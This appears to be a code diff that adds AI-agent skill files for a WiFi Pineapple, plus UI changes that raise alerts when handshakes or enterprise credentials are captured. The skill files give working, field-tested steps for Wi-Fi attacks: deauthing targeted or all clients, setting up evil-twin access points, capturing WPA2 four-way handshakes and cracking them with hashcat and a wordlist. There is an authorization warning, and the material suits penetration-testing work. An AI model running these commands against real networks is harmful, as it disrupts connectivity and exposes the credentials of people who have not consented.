- Transient `Permission denied` after bursts of sessions = SSH rate limiting — pause ~10 s and retry.
- Keep sessions short; run each logical step in its own command. One combined session for multi-step attacks (see wifi-deauth).
- BusyBox: `pkill`, `nohup`, `sshpass` are MISSING. Use `killall`/`kill $(pidof ...)`, `setsid`, and local sshpass. `od`/`hexdump`/`cat -n` absent — use `strings`/`grep`/`head -c`.
## What runs on the box
| Process | Managed by | Purpose | Socket |
|---|---|---|---|
| `/pineapple/pineapple` (ELF UI backend) | procd (`/etc/init.d/pineapplepager`) | Web UI; supervises/reconverges hostapd | — |
| `/usr/sbin/pineapd` | procd (auto-restarts on crash) | recon, deauth, SSID pool, handshake logging | `/tmp/pineap_sock` |
| `/usr/sbin/hostapd` (single global instance) | standalone (PPID 1) | all AP interfaces | `/var/run/hostapd/global`, per-iface under `/var/run/hostapd/` |
| `wpa_supplicant` | procd | device's own client uplink (`wlan0`) | — |
## Command surface
- `PINEAPPLE_*` (e.g. `PINEAPPLE_DEAUTH_CLIENT`) = symlinks to `hak5cmd`, which talks to pineapd over `/tmp/pineap_sock`. Do NOT `curl 127.0.0.1/api/...` — the HTTP API is not on :80.
- `_pineap` = pineapd control CLI (`PING`, `RECON APS|DEVICES|ISEARCH format=json`, `INTERFACE LIST/SET`, `SSIDPOOL ...`, `DEAUTH`, `EXAMINE`, `PCAP START/STOP`). Direct use can desync the UI — prefer `PINEAPPLE_*` where one exists.
- `hostapd_cli -i <iface> status|get_config|disable|enable` (per-iface) and `-p /var/run/hostapd -i global` (global). This is a Karma-patched build.
- `iw`, `sqlite3`, `tcpdump` (full build: `-G`/`-W` rotate supported), `logread`, `dmesg`.
## Config & persistence (the hard-won rules)
- `/etc/config/wireless` is the SOURCE OF TRUTH for APs (`config wifi-iface` sections). `wifi reload` (or `wifi up radioN`) applies it.
- Editing `/var/run/hostapd-phy*.conf` is TRANSIENT. `hostapd_cli ... reload_config`/`reload` do NOT re-read the file. `hostapd_cli raw ADD/REMOVE` misfires (treats the config path as the ctrl dir). Killing hostapd triggers the UI backend to restart it (`-g /var/run/hostapd/global`, no configs) and the ubus path reconverges from `/etc/config/wireless` — reverting your change.
- **To change an AP persistently:** back up first, edit `/etc/config/wireless`, then `wifi reload`. Example — convert a 5 GHz AP to a WPA2-PSK evil twin:
```sh
cp /etc/config/wireless /etc/config/wireless.bak
# wifi-iface section: ssid 'TargetSSID', encryption 'psk2', key '<passphrase>'
wifi reload
hostapd_cli -i wlan1wpa get_config # verify ssid + key_mgmt=WPA-PSK
```
## pineapd health & the crash-loop
- Symptom: `PINEAPPLE_*` / deauth returns `could not connect to pineap: dial unix /tmp/pineap_sock: connect: connection refused`, and `logread` shows `do_page_fault(): sending SIGSEGV to pineapd for invalid read access from 00000004`.
- Cause observed: the **SSID-pool broadcast** (68 SSIDs loaded from `/etc/config/pineapd`) segfaults pineapd on a ~15 s-to-minutes cadence; procd respawns it.
- Fix: `_pineap SSIDPOOL DISABLE && /etc/init.d/pineapd restart`, verify with `_pineap PING` (PONG) and that the SIGSEGV count in `logread` stops climbing. The SSID pool is separate from hostapd evil twins — disabling it does not affect them.
- `PING` to `/tmp/pineap_sock` failing while the socket file exists = stale socket (pineapd down/restarting).
## Recon DB
`pineapd` runs `--recon --reconpath /root/recon/ --handshakepath /root/loot/handshakes`. pineapd holds the DB — always read via the read-only URI with a timeout:
```sh
timeout 30 sqlite3 -header -column "file:/root/recon/recon.db?mode=ro" \
"SELECT bssid, CAST(ssid AS TEXT), channel, freq, signal, datetime(time,'unixepoch') FROM ssid ORDER BY time DESC LIMIT 40"
```
Tables: `ssid` (ssid is BLOB — `CAST(ssid AS TEXT)`; has bssid/channel/freq/signal/encryption/hidden), `wifi_device` (mac/freq/signal/packets), `scan`, `handshake` (beacon/hs1..hs4 — captures for any nearby AP), `hostap_handshake` (mic/nonce/eapol — captures for the Pineapple's OWN evil-twin APs), plus `hostap_basic`/`hostap_chalresp` (PineAPE enterprise creds) and `hostap_client`. `RECON CLIENTS` does not exist — use `RECON DEVICES`.
## Captures
- Raw monitor capture (802.11+radiotap; EAPOL is cleartext on the wire):
```sh
tcpdump -i wlan1mon -s 3000 -w /root/loot/pcap/mon_$(date +%s).cap
```
- **Own-TX visibility differs by radio.** On phy0 (2.4 GHz) `wlan0mon` captures the Pineapple's own beacons/EAPOL; on phy1 (5 GHz) `wlan1mon` does NOT see the Pineapple's own TX. A 5 GHz evil twin's M1/M3 will be invisible to the monitor — rely on `hostap_handshake`/`/root/loot/handshakes` for own-AP 4-ways. Client uplink frames (M2/M4, assoc) ARE visible on both.
- PineAP's `PCAP START` export is management/control frames only — never rely on it for handshakes.
- Standing capture that survives SSH disconnect (detaches via `setsid`, rotates 5 min, keeps 48 files ≈ 4 h; `/mmc` had ~3.3 GB free):
```sh
setsid tcpdump -i wlan1mon -s 3000 -G 300 -W 48 -w '/root/loot/pcap/nc_%Y%m%d_%H%M%S.cap' >/dev/null 2>&1 </dev/null &
```
- Stop captures: `killall tcpdump` (`pkill` missing).
- Pull evidence locally with `scp`; analyze with `tshark`/`capinfos`/`hcxpcapngtool` (brew `wireshark`, `hcxtools`).
## Verification & troubleshooting
- AP up but silent? `iw dev <iface> info` for ssid/type/channel; `hostapd_cli -i <iface> status` (state=ENABLED) and `get_config`. Static `tx_packets` on the netdev does NOT mean not-beaconing — beacons are driver-offloaded; check `dmesg` for driver errors instead.
- Deauth channel targeting: `PINEAPPLE_DEAUTH_CLIENT` injects via the phy of the configured inject interface (here `wlan1mon`, 5 GHz) regardless of the channel argument — a "ch1" deauth goes out on 5 GHz. To reach 2.4 GHz clients the inject interface must be phy0. Verify on the wire with a monitor capture (SA=spoofed BSSID).
- `hostapd_cli -p /var/run/hostapd -i global interface` lists managed interfaces.
## Teardown & hygiene
- Stop captures: `killall tcpdump`; kill only the standing capture's PID if you must keep others.
- Leave `/root/loot/**` pcap artifacts as evidence; scp them off before leaving.
- If you disabled the SSID pool to fix a crash, tell the user it stays disabled (re-enabling re-crashes pineapd).
- Report persistent config changes you made (e.g. an AP converted in `/etc/config/wireless`) so the user knows their device differs from the UI default.
@@ -0,0 +1,138 @@
---
name: wifi-deauth
description: Use for Wi-Fi deauth attacks and WPA2 handshake capture with the WiFi Pineapple — target discovery from the recon DB, PINEAPPLE_DEAUTH_CLIENT technique, channel-pinning pitfalls, raw monitor capture for EAPOL, PMKSA/steering failure modes, evil-twin luring, and hashcat handoff. Written authorization required. Device access, process control, and persistence live in the pineapple-control skill.
---
# Wi-Fi Deauth & Handshake Capture (WiFi Pineapple Pager)
Field-tested attack methodology: deauth clients on a target SSID and capture a WPA2-PSK four-way handshake for hashcat, using the Pineapple Pager (FENRIS/PineAP firmware).
**STOP first: confirm the user has written authorization for the target networks. Deauth is disruptive; proceed only with confirmed scope, and deauth ONLY the identified target BSSIDs (never "all APs in range").**
Device access, the `PINEAPPLE_*`/`_pineap`/`hostapd_cli` command surface, pineapd crash fixes, standing captures, and `/etc/config/wireless` persistence are in **pineapple-control** — read it first, then return here.
## 1. Discover target APs (passive recon first)
Query the recon DB read-only with a timeout (pineapd holds the DB; a blocking read can hang it):
```sh
timeout 30 sqlite3 -header -column "file:/root/recon/recon.db?mode=ro" \
"SELECT bssid, CAST(ssid AS TEXT), channel, freq, signal, datetime(time,'unixepoch') FROM ssid ORDER BY time DESC LIMIT 40"
```
- `ssid` stores SSID as BLOB — `CAST(ssid AS TEXT)` decodes it.
- Live JSON: `_pineap RECON APS limit=30 format=json`, `_pineap RECON DEVICES limit=50 format=json`, `_pineap RECON ISEARCH <ssid>` (case-insensitive).
- Beware two result traps: (a) one physical AP appears under several BSSID variants (first-octet differs per SSID/band, e.g. `92:18:88:` vs `92:18:98:` with the same suffix) — deauth ALL variants of the target SSID; (b) SSID spellings can differ per radio — enumerate both. Confirm current presence with `ISEARCH`; BSSIDs seen only as probe sources (not beaconing) are out of scope.
- Identify active clients in `wifi_device` (high packet count, non-AP MAC) and their band (`freq` 2412 = 2.4, 5180 = 5).
- Check whether the Pineapple already karma-clones the target SSID: `iw dev` shows the evil-twin ifaces and their BSSIDs; a clone BSSID can collide with a real one.
## 2. Deauth (the working method)
`PINEAPPLE_DEAUTH_CLIENT` = `hak5cmd` → pineapd socket `/tmp/pineap_sock`:
```sh
PINEAPPLE_DEAUTH_CLIENT <AP_MAC> <CLIENT_MAC> <channel> # single client
PINEAPPLE_DEAUTH_CLIENT <AP_MAC> FF:FF:FF:FF:FF:FF <channel> # all clients on AP
```
- MACs with colons work. Channel should be the AP's actual channel.
- Verified rhythm: a burst of ~50 frames per call; `sleep 1-2` between calls; 5-8 calls per AP. Do not keep blasting on failure (see §6).
- **Injection phy gotcha:** deauth frames are injected via the phy of the configured inject interface (default `wlan1mon`, 5 GHz) REGARDLESS of the channel argument — a "channel 1" deauth still goes out on 5 GHz. To hit 2.4 GHz clients the inject interface must be on phy0 (`_pineap INTERFACE INJECT wlan0mon`).
- Verify on the wire afterward: injected frames appear as deauth/disassoc with SA=spoofed BSSID, DA=target/broadcast (see §5).
- `connection refused` on the socket = pineapd down (crash-loop) — fix per pineapple-control, then retry.
- Logs/loot dirs: `/root/loot/fenris/`, `/root/loot/pcap/`, `/root/loot/handshakes/`.
## 3. Channel pinning — what works and what crashes
| Method | Result |
|---|---|
| `PINEAPPLE_EXAMINE_BSSID <mac> <sec>` / `_pineap EXAMINE BSSID ...` | **CRASHES pineapd (device may reboot). Do not use.** |
| `_pineap RECON NEW name=x channel=N` | Returns rc=0 but does **not** pin the monitor radio — recon keeps hopping. |
| `iw dev <mon> set channel N` | Fails "Resource busy" when the phy is held by the AP interface (karma / evil twin). |
| `iw dev wlan1mon info` | Read-only, safe — shows the channel the AP interface holds (e.g. `channel 36 (5180 MHz)`). |
Monitors are effectively pinned to the channel their phy's AP interface holds (2.4 GHz → ch1, 5 GHz → ch36 on the lab unit). `_pineap INTERFACE LIST` may label an interface "hop" even when it is physically pinned — trust `iw dev`, not the label.
## 4. Handshake capture — where built-in capture fails and the workaround
**PineAP's `PCAP START` export is management/control frames ONLY** — zero data, zero EAPOL. Never rely on it for handshakes.
The `handshake`/`hostap_handshake` tables and `/root/loot/handshakes` populate only for the Pineapple's OWN evil-twin AP (see §6). For the real AP, use a raw monitor capture:
**Field-verified 2026-08-19 — the passive capture is GOLD (better than the twin):**
pineapd's `handshake` table captures a full 4-way for ANY nearby AP the
monitor can hear, even when the client refuses the evil twin entirely. In a
live engagement, a target client (Nintendo Switch 2) got `auth status=1`
rejections from the karma twin and never associated — but when it
reconnected to the REAL AP, pineapd logged:
`[HANDSHAKE] handshake AP <real-bssid> CLIENT <mac> crackable [B,1,2,3,4]`
and wrote both `.pcap` + `.22000` files to `/root/loot/handshakes/` on its
own. The monitor must be on the real AP's channel (on this lab unit the
2.4 GHz monitor is pinned to the uplink's channel — see pineapple-control).
The exported hashcat line verified against the target SSID:
`WPA*02*<mic>*<apbssid>*<clientmac>*<ssid-hex>` — direct `hashcat -m 22000` input.
Clients that DO associate to the twin also produce `hostap_handshake` rows
(roaming client verified), so both paths produce loot.
```sh
# single session: background tcpdump, run deauth rounds, listen, kill.
tcpdump -i wlan1mon -s 3000 -w /root/loot/pcap/mon_$(date +%s).cap & TDPID=$!
... deauth bursts on the same channel ...
sleep <listen window, e.g. 60-90s>
kill $TDPID
```
- Pick the monitor pinned to the target channel (`iw dev`). A monitor sees remote radios (AP and clients) fully; on 5 GHz it will NOT see the Pineapple's own TX (see pineapple-control), so an evil-twin M1/M3 won't appear — rely on `hostap_handshake` + loot for own-AP captures.
- `nohup ... &` from a non-interactive ssh drops the process (file never appears) — run the whole round in ONE ssh session and background-kill within it.
- Pull with scp; analyze locally with tshark (brew: `wireshark`, `hcxtools`).
Analysis one-liners:
```sh
tshark -r cap -T fields -e wlan.fc.type -e wlan.fc.subtype | sort | uniq -c # frame mix
tshark -r cap -Y eapol -c 10 # 4-way keys
tshark -r cap -Y "wlan.fc.type==0 && wlan.fc.subtype==12" -T fields -e wlan.sa -e wlan.da # deauths (injected vs client-mirrored)
tshark -r cap -Y "wlan.fc.subtype==8" -c 1 -V | grep -A30 "RSN Information" # WPA2/PSK + PMF bits
```
- RSN decode: AKM 00:0f:ac = PSK (WPA2, auditable). SAE only = WPA3 (no 4-way). "MFPC/MFPR" set → PMF-requiring clients will skip a non-PMF evil twin.
- WPS: no "Config Methods" element (0x0043) or no AP PIN in the WPS IE → WPS disabled; the `-m 2560` route is dead.
## 5. Expected failure mode: PMKSA fast reauth (plan for it)
On venues with steering/anti-rogue controllers, clients return within ~100 ms via **PMKSA-cached fast reauth (2-frame, no EAPOL)**. No deauth volume forces a fresh 4-way — the cached PMK lives on the client.
**Verified tell-tales on the lab venue:**
- Steady stream of targeted deauths from the AP BSSID at individual client MACs, plus deauths aimed at the attacker.
- The target client **mirrors every injected deauth**: same-frame-count deauth/disassoc streams back with SA=client MAC (and broadcast-SA variants) toward the AP BSSID within ~2 ms — an active anti-deauth unit.
- Client reassociates to the REAL AP immediately (auth/reassoc burst) with **zero EAPOL**.
A fresh 4-way occurs only on:
1. A **brand-new client's first association** (new person/device arriving), or
2. A **GTK rekey** (AP-side, typically hourly).
Mitigations / planning:
- Multi-channel ops: an AP may serve the SSID on several channels/bands — monitor and deauth each; a steered client misses a single-channel window.
- **Evil-twin luring** converts a client only if the real AP is weak/unavailable. Verified outcomes: a 2.4 GHz WPA2 clone captured nothing (5 GHz client never fell to 2.4); a same-band 5 GHz clone (ch36) also captured nothing — the client stayed locked to the strong real AP via PMKSA and never probed the clone. Build a same-band clone persistently via `/etc/config/wireless` (pineapple-control); any handshake the clone conducts lands in `hostap_handshake`/`/root/loot/handshakes`. A wrong-PSK clone still yields a crackable M1/M2 (client computes M2 with its own real PMK); set `disable_pmksa_caching=1` in hostapd so joining clients do a full 4-way.
- When no 4-way is achievable in the timebox, **stop and document (§7)**. Do not keep blasting — repeated deauths trigger client-side reconnect throttling (iOS/Android anti-deauth) and make a fresh 4-way LESS likely.
## 6. Handoff to hashcat (once an EAPOL 4-way is captured)
```sh
hcxpcapngtool -o IBC.hc22000 capture.pcap[ng] # brew hcxtools
hashcat -m 22000 IBC.hc22000 -a 0 /usr/share/wordlists/rockyou.txt
```
WPA2-PSK only. If WPS was open (rare), `-m 2560` on the WPS nonces instead.
## 7. Report language when no handshake is captured
> Deauthentication was successful against <targets> (N frames, verified on wire). Handshake acquisition was not achievable within the engagement window: the venue's AP runs an active steering/anti-rogue controller (continuous targeted client deauths, including deauths of the attacker radio's MAC) and clients re-authenticate via PMKSA fast reauthentication without EAPOL key exchange. A new client association or the venue's periodic GTK rekey (hourly) is required to produce a capturable WPA2 four-way handshake for hashcat auditing.
If an evil-twin attempt was made, add: the clone (SSID/band) was live and verified, but no client engaged it while the real AP remained reachable.
## 8. Teardown
```sh
killall tcpdump # pkill is NOT on this BusyBox
timeout 15 _pineap RECON NEW name=pager hop=fast # restore default recon
```
Leave SSID-pool additions (harmless) or remove with `PINEAPPLE_SSID_POOL_DELETE`. Keep `/root/loot/**` artifacts as evidence; scp them off before leaving the site. If you disabled the SSID pool to fix a pineapd crash, say so (it stays disabled).
@@ -185,7 +185,15 @@ body {
.badge { display: inline-block; padding: 2px 10px; border-radius: 10px; font-size: 11px; }
.badge.on { background: #e8f5e9; color: #2e7d32; }
.badge.off { background: #fff3e0; color: #e65100; }
.badge.warn { background: #fff8e1; color: #f57f17; }
.badge.unknown { background: #eeeeee; color: #616161; }
.health-chip { font-size: 11px; font-weight: 600; letter-spacing: .04em; padding: 2px 8px; border-radius: 10px; margin-left: 10px; align-self: center; }
.health-chip.good { background: #e8f5e9; color: #2e7d32; }
.health-chip.warn { background: #fff8e1; color: #f57f17; }
.health-chip.bad { background: #fdecea; color: #b71c1c; }
html.dark .health-chip.good { background: #1b3a24; color: #81c784; }
html.dark .health-chip.warn { background: #3d3313; color: #ffd54f; }
html.dark .health-chip.bad { background: #4a2020; color: #ffb4a9; }
.btn {
background: var(--primary); color: #fff; border: 0; border-radius: 2px;
padding: 8px 14px; font-size: 14px; cursor: pointer;
@@ -327,6 +335,9 @@ html.dark .recon-scan-status.warn { color: #ffb74d; }
.recon-paginator .icon-btn svg { width: 18px; height: 18px; }
.recon-row-selected td { background: #eaeaea; }
html.dark .recon-row-selected td { background: #565656; }
.recon-row-compare td { background: rgba(25, 118, 210, .08); }
html.dark .recon-row-compare td { background: rgba(25, 118, 210, .18); }
.recon-gps-cell { font-variant-numeric: tabular-nums; }
.recon-settings-sidebar {
position: fixed; top: 64px; right: 0; bottom: 0; width: 270px; z-index: 50;
background: var(--surface); box-shadow: -2px 0 6px rgba(0,0,0,.24); padding: 16px;
@@ -468,6 +479,7 @@ html.dark .modal { background: #303030; }
.pineap-infobox { border-radius: 2px; padding: 10px 12px; margin-top: 10px; font-size: 13px; display: flex; flex-direction: column; gap: 8px; }
.pineap-infobox.error { background: #fdecea; color: #b71c1c; border: 1px solid #f5c6cb; }
.pineap-infobox.info { background: #e3f2fd; color: #0d47a1; border: 1px solid #90caf9; }
.pineap-infobox.warn { background: #fff8e1; color: #f57f17; border: 1px solid #ffe082; }
.pineap-infobox-actions { display: flex; gap: 8px; flex-wrap: wrap; }
html.dark .pineap-infobox.error { background: #4a2020; color: #ffb4a9; border-color: #6b2d2d; }
html.dark .pineap-infobox.info { background: #10263a; color: #9cc7f0; border-color: #1d3a54; }
@@ -6,7 +6,7 @@
<meta name="color-scheme" content="light dark">
<title>WiFi Pineapple</title>
<link rel="icon" type="image/png" href="assets/logo.png">
<link rel="stylesheet" href="css/app.css?v=20260811-9">
<link rel="stylesheet" href="css/app.css?v=20260818-8">
<link rel="stylesheet" href="js/xterm.css">
</head>
<body>
@@ -26,6 +26,7 @@
<span id="brand-text" class="brand-text">Mark VIII</span>
<span class="toolbar-spacer"></span>
<span id="live-status"></span>
<span id="health-status" class="health-chip"></span>
<div class="toolbar-action">
<button id="notifications-btn" class="toolbar-icon-btn" type="button" title="Notifications"
aria-label="Notifications" aria-haspopup="menu" aria-controls="notifications-menu" aria-expanded="false"></button>
@@ -260,14 +261,14 @@
<div id="toast-container"></div>
<script src="js/config.js"></script>
<script src="js/icons.js?v=20260811-6"></script>
<script src="js/icons.js?v=20260818-7"></script>
<script src="js/api.js?v=20260817-4"></script>
<script src="js/chart.js"></script>
<script src="js/xterm.min.js"></script>
<script src="js/xterm-addon-fit.min.js"></script>
<script src="js/terminal.js"></script>
<script src="js/pager.js"></script>
<script src="js/views.js?v=20260817-12"></script>
<script src="js/app.js?v=20260811-9"></script>
<script src="js/views.js?v=20260818-9"></script>
<script src="js/app.js?v=20260818-9"></script>
</body>
</html>
@@ -33,6 +33,7 @@ const App = (() => {
{ key: 'recon', label: 'Recon', hash: '#/recon', icon: 'recon' },
{ key: 'logging', label: 'Logging', hash: '#/logging', icon: 'logging' },
{ key: 'modules', label: 'Payloads', hash: '#/modules', icon: 'modules' },
{ key: 'harness', label: 'Harness', hash: '#/harness', icon: 'robot' },
{ key: 'settings', label: 'Settings', hash: '#/settings', icon: 'settings' }
];
const railDividers = new Set(['logging']);
@@ -83,11 +84,22 @@ const App = (() => {
function route() {
closeToolbarMenus();
const hash = (location.hash || '#/dashboard').replace(/\/+$/, '');
let hash = (location.hash || '#/dashboard').replace(/\/+$/, '');
if (hash === '#/recon/survey') {
location.hash = '#/recon';
return;
}
if (hash.indexOf('#/attacks') === 0) {
const map = {
'#/attacks': '#/pineap',
'#/attacks/wpa': '#/pineap/evilwpa',
'#/attacks/open': '#/pineap/open',
'#/attacks/enterprise': '#/pineap/enterprise'
};
hash = map[hash] || '#/pineap';
location.replace(hash);
return;
}
const name = routes[hash];
if (currentView && currentView.destroy) currentView.destroy();
els.content.innerHTML = '';
@@ -394,8 +406,9 @@ const App = (() => {
const routes = {
'#/dashboard': 'dashboard',
'#/pineap': 'pineap',
'#/pineap/open': 'pineap_open',
'#/pineap/evilwpa': 'pineap_evilwpa',
'#/pineap/enterprise': 'pineap_enterprise',
'#/pineap/open': 'pineap_open',
'#/pineap/impersonation': 'pineap_impersonation',
'#/pineap/clients': 'pineap_clients',
'#/pineap/filtering': 'pineap_filtering',
@@ -413,7 +426,8 @@ const App = (() => {
'#/settings/wifi': 'settings_wifi',
'#/settings/led': 'settings_led',
'#/settings/advanced': 'settings_advanced',
'#/settings/help': 'settings_help'
'#/settings/help': 'settings_help',
'#/harness': 'harness'
};
return { init, route, toast, showLogin, checkInternet, wsUrl: (p) => WS_BASE + p,
@@ -427,6 +441,10 @@ const Live = (() => {
let ws = null;
let ever = false;
let poll = null;
let pollHealthTimer = null;
let pollEventsTimer = null;
const lastEvents = { hsSeen: {}, hsPrimed: false, creds: null, credsPrimed: false,
pineapUp: null, mon0: null, mon1: null };
const subs = [];
let timer = null;
function stopPoll() {
@@ -435,6 +453,14 @@ const Live = (() => {
function start() {
if (ws && (ws.readyState === WebSocket.OPEN || ws.readyState === WebSocket.CONNECTING)) return;
stopPoll();
if (!pollHealthTimer) {
pollHealthTimer = setInterval(pollHealth, 15000);
pollHealth();
}
if (!pollEventsTimer) {
pollEventsTimer = setInterval(pollEvents, 15000);
pollEvents();
}
try { ws = new WebSocket(App.wsUrl('/api/ws')); }
catch (e) { fallback(); return; }
ws.onopen = () => { ever = true; };
@@ -482,6 +508,58 @@ const Live = (() => {
const el = document.getElementById('live-status');
if (el) el.textContent = 'BAT ' + (b.level == null ? '--' : b.level + '%' + (b.charging ? '+' : '')) + ' CLIENTS ' + n;
}
function pollHealth() {
fetch(App.apiBase + '/api/health', { credentials: 'include' }).then((r) => r.json())
.then((h) => {
const el = document.getElementById('health-status');
if (!el) return;
if (h.pineap_up === false) {
el.textContent = 'PINEAPD DOWN';
el.className = 'health-chip bad';
} else if (h.pool_disabled) {
el.textContent = 'POOL OFF';
el.className = 'health-chip warn';
} else if (h.pineap_up) {
el.textContent = 'PINEAP OK';
el.className = 'health-chip good';
}
const prev = lastEvents;
if (prev.pineapUp === false && h.pineap_up) {
toast('PineAPd recovered', 'success');
} else if (prev.pineapUp === true && h.pineap_up === false) {
toast('PineAPd is down — health monitor is repairing it', 'error');
}
lastEvents.pineapUp = !!h.pineap_up;
const monState = [h.wlan0mon_up, h.wlan1mon_up];
if (prev.mon0 === true && monState[0] === false) toast('wlan0mon went down', 'error');
if (prev.mon1 === true && monState[1] === false) toast('wlan1mon went down', 'error');
lastEvents.mon0 = !!monState[0];
lastEvents.mon1 = !!monState[1];
}).catch(() => {});
}
function pollEvents() {
Promise.all([
fetch(App.apiBase + '/api/pineap/handshakes', { credentials: 'include' }).then((r) => r.json()).catch(() => ({})),
fetch(App.apiBase + '/api/attacks/status', { credentials: 'include' }).then((r) => r.json()).catch(() => ({}))
]).then(([hs, atk]) => {
const files = (hs && hs.files) || [];
const fresh = files.filter((f) => !lastEvents.hsSeen[f.name]);
if (lastEvents.hsPrimed && fresh.length) {
fresh.forEach((f) => {
const bssid = (f.name.match(/^[0-9]+_([0-9A-F]+)_/) || [])[1] || '';
toast('Handshake captured: ' + (bssid || f.name), 'success');
});
}
files.forEach((f) => { lastEvents.hsSeen[f.name] = true; });
lastEvents.hsPrimed = true;
const creds = ((atk.enterprise || {}).creds) == null ? null : atk.enterprise.creds;
if (lastEvents.credsPrimed && creds !== null && creds > lastEvents.creds) {
toast('Enterprise credential captured (' + (creds - lastEvents.creds) + ' new)', 'success');
}
if (creds !== null) lastEvents.creds = creds;
lastEvents.credsPrimed = true;
}).catch(() => {});
}
function onTick(fn) {
subs.push(fn);
return () => {
@@ -1,6 +1,7 @@
'use strict';
window.PineappleIcons = {
attack: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2L15,9L22,12L15,15L12,22L9,15L2,12L9,9L12,2M12,6.5L10.5,10.5L6.5,12L10.5,13.5L12,17.5L13.5,13.5L17.5,12L13.5,10.5L12,6.5Z"/></svg>',
dashboard: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,16A3,3 0 0,1 9,13C9,11.88 9.61,10.9 10.5,10.39L20.21,4.77L14.68,14.35C14.18,15.33 13.17,16 12,16M12,3C13.81,3 15.5,3.5 16.97,4.32L14.87,5.53C14,5.19 13,5 12,5A8,8 0 0,0 4,13C4,15.21 4.89,17.21 6.34,18.65H6.35C6.74,19.04 6.74,19.67 6.35,20.06C5.96,20.45 5.32,20.45 4.93,20.07V20.07C3.12,18.26 2,15.76 2,13A10,10 0 0,1 12,3M22,13C22,15.76 20.88,18.26 19.07,20.07V20.07C18.68,20.45 18.05,20.45 17.66,20.06C17.27,19.67 17.27,19.04 17.66,18.65V18.65C19.11,17.2 20,15.21 20,13C20,12 19.81,11 19.46,10.1L20.67,8C21.5,9.5 22,11.18 22,13Z"/></svg>',
pineap: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,21L15.6,16.2C16.2,15.4 16.8,14.5 17.2,13.6C18.1,11.5 18,9 18,9C18,6.5 16.5,4.3 15,3.5C13.5,2.7 10.5,2.7 9,3.5C7.5,4.3 6,6.5 6,9C6,9 5.9,11.5 6.8,13.6C7.2,14.5 7.8,15.4 8.4,16.2L12,21M12,5.5C13.4,5.5 14.5,6.6 14.5,8C14.5,9.4 13.4,10.5 12,10.5C10.6,10.5 9.5,9.4 9.5,8C9.5,6.6 10.6,5.5 12,5.5M7.1,13.1C7.1,13.1 8.2,14 12,14C15.8,14 16.9,13.1 16.9,13.1L15.9,12.1C15.9,12.1 14.8,12.8 12,12.8C9.2,12.8 8.1,12.1 8.1,12.1L7.1,13.1M12,17C10,17 9,17.6 9,17.6L10.3,19.3C10.3,19.3 11.1,19 12,19C12.9,19 13.7,19.3 13.7,19.3L15,17.6C15,17.6 14,17 12,17Z"/></svg>',
recon: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M11,6H13V13H11V6M9,20A1,1 0 0,1 8,21H5A1,1 0 0,1 4,20V15L6,6H10V13A1,1 0 0,1 9,14V20M10,5H7V3H10V5M15,20V14A1,1 0 0,1 14,13V6H18L20,15V20A1,1 0 0,1 19,21H16A1,1 0 0,1 15,20M14,5V3H17V5H14Z"/></svg>',
@@ -9,12 +10,14 @@ window.PineappleIcons = {
settings: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M21 11.11V7A2 2 0 0 0 19 5H15V3A2 2 0 0 0 13 1H9A2 2 0 0 0 7 3V5H3A2 2 0 0 0 1 7V18A2 2 0 0 0 3 20H10.26A7 7 0 1 0 21 11.11M9 3H13V5H9M19 20A5 5 0 0 1 13 20A5 5 0 1 1 19 20M15 13H16.5V15.82L18.94 17.23L18.19 18.53L15 16.69V13"/></svg>',
chevron: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M7.41,15.41L12,10.83L16.59,15.41L18,14L12,8L6,14L7.41,15.41Z"/></svg>',
terminal: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M20,19V7H4V19H20M20,3A2,2 0 0,1 22,5V19A2,2 0 0,1 20,21H4A2,2 0 0,1 2,19V5C2,3.89 2.9,3 4,3H20M13,17V15H18V17H13M9.58,13L5.57,9H8.4L11.7,12.3C12.09,12.69 12.09,13.33 11.7,13.72L8.42,17H5.59L9.58,13Z"/></svg>',
robot: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A2,2 0 0,1 14,4C14,4.74 13.6,5.39 13,5.73V7H14A7,7 0 0,1 21,14H22A1,1 0 0,1 23,15V18A1,1 0 0,1 22,19H21V20A2,2 0 0,1 19,22H5A2,2 0 0,1 3,20V19H2A1,1 0 0,1 1,18V15A1,1 0 0,1 2,14H3A7,7 0 0,1 10,7H11V5.73C10.4,5.39 10,4.74 10,4A2,2 0 0,1 12,2M7.5,13A2.5,2.5 0 0,0 5,15.5A2.5,2.5 0 0,0 7.5,18A2.5,2.5 0 0,0 10,15.5A2.5,2.5 0 0,0 7.5,13M16.5,13A2.5,2.5 0 0,0 14,15.5A2.5,2.5 0 0,0 16.5,18A2.5,2.5 0 0,0 19,15.5A2.5,2.5 0 0,0 16.5,13M12,20A2,2 0 0,0 14,18H10A2,2 0 0,0 12,20Z"/></svg>',
wifi: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M1,9L3,11C8,6 16,6 21,11L23,9C17,3 7,3 1,9M5,13L7,15C10,12.5 14,12.5 17,15L19,13C15,9 9,9 5,13M9,17L12,21L15,17C13.34,15.67 10.66,15.67 9,17Z"/></svg>',
extension: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M20.5,11H19V7C19,5.89 18.1,5 17,5H13V3.5A2.5,2.5 0 0,0 10.5,1A2.5,2.5 0 0,0 8,3.5V5H4A2,2 0 0,0 2,7V10.8H3.5C5,10.8 6.2,12 6.2,13.5C6.2,15 5,16.2 3.5,16.2H2V20A2,2 0 0,0 4,22H7.8V20.5C7.8,19 9,17.8 10.5,17.8C12,17.8 13.2,19 13.2,20.5V22H17A2,2 0 0,0 19,20V16H20.5A2.5,2.5 0 0,0 23,13.5A2.5,2.5 0 0,0 20.5,11Z"/></svg>',
receipt: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M14,17H4V15H14V17M14,13H4V11H14V13M14,9H4V7H14V9M18,13V11H16V9H18V7H20V9H22V11H20V13H18M20,3H2A2,2 0 0,0 0,5V19A2,2 0 0,0 2,21H20A2,2 0 0,0 22,19V17H20V19H2V5H20V3Z"/></svg>',
